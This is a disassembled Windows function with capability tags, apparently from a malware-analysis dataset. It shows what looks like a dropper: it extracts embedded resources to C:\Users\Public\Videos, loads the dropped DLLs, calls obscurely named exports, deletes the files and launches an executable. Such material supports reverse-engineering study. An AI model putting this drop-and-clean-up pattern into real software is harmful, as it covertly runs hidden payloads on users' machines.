Function at 0x401400
Capabilities:
Check if file exists
Create process on windows
Delete file
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3ec
mov eax, dword [0x469bb0]
xor eax, esp
mov dword [esp + 0x3e8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x45c38c
push 0xfd
xor edi, edi
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x40146c
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x40146c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x401460
mov dword [esp + 0xc], eax
jmp 0x401470
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], edi
mov edi, dword [esp + 0x18]
push 0x45c38c
push 0x106
push edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x401493
mov dword [esp + 0x10], ebx
jmp 0x4014ca
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4014a5
mov dword [esp + 0x10], ebx
jmp 0x4014ca
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4014b8
mov dword [esp + 0x10], ebx
jmp 0x4014ca
mov eax, dword [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [esp + 0x10], edi
cmp dword [esp + 0xc], 0
je 0x401a29
mov esi, dword [esp + 0x14]
test esi, esi
je 0x401a29
cmp dword [esp + 0x10], 0
je 0x401a20
test ebx, ebx
je 0x401a20
lea ecx, [esp + 0x24]
push ecx
mov edi, esi
call fcn.00401d10
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
sub edx, eax
jne 0x401515
call fcn.0043ac5b
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0xc]
push esi
push ecx
mov edi, eax
push eax
mov dword [esp + 0x28], edi
call fcn.00442590
add esp, 0xc
mov ecx, edi
call fcn.00401310
lea edx, [esp + 0x3c]
push edx
mov edi, ebx
call fcn.00401d10
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x48]
sub ecx, eax
jne 0x401552
call fcn.0043ac5b
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x10]
push ebx
push edx
mov edi, eax
push eax
mov dword [esp + 0x2c], edi
call fcn.00442590
add esp, 0xc
mov esi, ebx
mov ecx, edi
call fcn.00401310
mov ecx, 0xb
mov esi, str.C:UsersPublicVideos
lea edi, [esp + 0x150]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x150]
call fcn.00401330
push 0
call fcn.0043b12e
add esp, 4
push eax
call fcn.0043ac97
add esp, 4
call fcn.0043aca9
cdq
mov ecx, 0xa
idiv ecx
push edx
call fcn.0043aca9
cdq
mov ecx, 0xa
idiv ecx
push edx
push str._d_d
lea edx, [esp + 0x18c]
call fcn.004029d0
add esp, 0xc
mov eax, edi
lea ecx, [esp + 0x70]
call fcn.00401df0
push eax
lea edx, [esp + 0x58]
push edx
mov edi, str._study
call fcn.004029f0
push eax
lea eax, [esp + 0xd0]
push eax
lea edi, [esp + 0x190]
call fcn.004029f0
add esp, 0x10
lea esi, [esp + 0x54]
call fcn.00401e60
lea esi, [esp + 0x70]
call fcn.00401e60
mov edi, dword [esp + 0xc8]
mov esi, 8
cmp dword [esp + 0xdc], esi
jae 0x401635
lea edi, [esp + 0xc8]
call fcn.00401330
lea ecx, [esp + 0xc4]
push ecx
lea edx, [esp + 0x100]
push edx
mov edi, str.1.txt
call fcn.004029f0
lea eax, [esp + 0xcc]
push eax
lea ecx, [esp + 0x98]
push ecx
mov edi, str.1.dll
call fcn.004029f0
mov eax, dword [esp + 0x110]
add esp, 0x10
cmp dword [esp + 0x114], esi
jae 0x401688
lea eax, [esp + 0x100]
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
push edi
push edx
call fcn.004013a0
mov eax, dword [esp + 0x98]
add esp, 8
cmp dword [esp + 0xa4], esi
jae 0x4016b1
lea eax, [esp + 0x90]
mov ecx, dword [esp + 0x1c]
push edi
push ecx
call fcn.004013a0
mov eax, dword [esp + 0x98]
add esp, 8
cmp dword [esp + 0xa4], esi
jae 0x4016d6
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x401734
push eax
push 0x45c440
push 0x45c3ac
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
lea esi, [esp + 0x8c]
call fcn.00401e60
lea esi, [esp + 0xfc]
call fcn.00401e60
lea esi, [esp + 0xc4]
call fcn.00401e60
lea edx, [esp + 0x3c]
push edx
call fcn.00401d80
lea eax, [esp + 0x24]
push eax
call fcn.00401d80
jmp 0x401a3d
push str.swtxxzc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401748
call eax
jmp 0x40175c
push 0
push 0x45c48c
push 0x45c3ac
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc4]
push ecx
lea edx, [esp + 0x138]
push edx
mov edi, str.2.txt
call fcn.004029f0
lea eax, [esp + 0xcc]
push eax
lea ecx, [esp + 0xb4]
push ecx
mov edi, str.2.dll
call fcn.004029f0
mov eax, dword [esp + 0x148]
add esp, 0x10
cmp dword [esp + 0x14c], esi
jae 0x4017b5
lea eax, [esp + 0x138]
mov edx, dword [esp + 0x10]
push ebx
push edx
call fcn.004013a0
mov eax, dword [esp + 0xb4]
add esp, 8
cmp dword [esp + 0xc0], esi
jae 0x4017da
lea eax, [esp + 0xac]
mov ecx, dword [esp + 0x20]
push ebx
push ecx
call fcn.004013a0
mov eax, dword [esp + 0xb4]
add esp, 8
cmp dword [esp + 0xc0], esi
jae 0x4017ff
lea eax, [esp + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
jne 0x40183b
push eax
push 0x45c4e8
push 0x45c3ac
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
lea esi, [esp + 0xa8]
call fcn.00401e60
lea esi, [esp + 0x134]
call fcn.00401e60
jmp 0x4016f7
push str.squick
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40184f
call eax
jmp 0x401863
push 0
push 0x45c538
push 0x45c3ac
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call edi
mov eax, dword [esp + 0xac]
mov esi, 8
cmp dword [esp + 0xc0], esi
jae 0x401893
lea eax, [esp + 0xac]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call ebx
mov eax, dword [esp + 0xac]
cmp dword [esp + 0xc0], esi
jae 0x4018b3
lea eax, [esp + 0xac]
push eax
call ebx
push 0x3e8
call edi
mov edx, dword [esp + 0x18]
push 0x104
lea ecx, [esp + 0x1ec]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x1e8]
push 0x5c
push eax
call fcn.0043ac6b
lea ecx, [esp + 0x1f0]
sub eax, ecx
sar eax, 1
inc eax
add esp, 8
xor edx, edx
push eax
mov eax, ecx
lea esi, [esp + 0x11c]
mov dword [esp + 0x134], 7
mov dword [esp + 0x130], 0
mov word [esp + 0x120], dx
call fcn.00402190
mov eax, esi
push eax
lea esi, [esp + 0xe4]
call fcn.00401e30
mov ecx, esi
push ecx
mov eax, str.1.exe
call fcn.00401e90
mov eax, dword [esp + 0xe4]
mov esi, 8
cmp dword [esp + 0xf8], esi
jae 0x40195a
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401990
mov eax, dword [esp + 0xe4]
cmp dword [esp + 0xf8], esi
jae 0x40197c
lea eax, [esp + 0xe4]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x3e8
call edi
mov esi, dword [esp + 0x1c]
push str.qwxdad
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4019af
call eax
jmp 0x4019c3
push 0
push 0x45c590
push 0x45c3ac
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x90]
mov esi, 8
cmp dword [esp + 0xa4], esi
jae 0x4019e6
lea eax, [esp + 0x90]
push eax
call ebx
mov eax, dword [esp + 0x90]
cmp dword [esp + 0xa4], esi
jae 0x401a00
lea eax, [esp + 0x90]
push eax
call ebx
lea esi, [esp + 0xe0]
call fcn.00401e60
lea esi, [esp + 0x118]
call fcn.00401e60
jmp 0x40181e
push 0
push 0x45c3b4
jmp 0x401a30
push 0
push 0x45c394
push 0x45c3ac
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x3f4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0043a551
mov esp, ebp
pop ebp
ret 0x10